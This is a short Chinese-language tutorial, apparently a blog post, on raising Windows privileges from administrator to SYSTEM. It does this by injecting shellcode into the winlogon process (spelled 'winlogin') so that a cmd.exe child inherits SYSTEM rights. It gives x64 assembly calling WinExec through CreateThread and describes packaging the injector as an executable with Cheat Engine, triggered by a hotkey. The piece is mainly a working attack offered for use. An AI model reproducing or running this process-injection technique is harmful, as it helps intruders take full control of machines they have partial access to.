简述
在windows系统中大多数用户能获得的administrator用户的管理员权限即为最高了,但这并非最高权限。而如果能提升权限至system,那岂不是美滋滋。而本文即公布一种十分简洁方便的办法提升权限。
方法
有各种方法,很多都是复制token什么的。其实还有个办法,十分简单。直接使用system进程启动的子进程也会继承父进程的权限。但绝大多数system进程都无法在r3显示。但唯独有一个进程可以,那就是winlogin进程。而且该进程也能在r3打开。因此我们可以对winlogin注入一段shellcode来启动一个子进程。
代码
code:
push rdi
sub rsp,20
mov rdx,5
mov rcx,xxx
call KERNEL32.WinExec
add Rsp,20
pop rdi
ret
xxx:
db 'c:\windows\system32\cmd.exe'
createthread(code)
实现例子
本文中我使用cheat engine 来编写shellcode实现。
并且可以直接生成EXE调用改脚本,蛮方便。
效果
我将脚本生成exe,设F2为激活快键,下图为效果。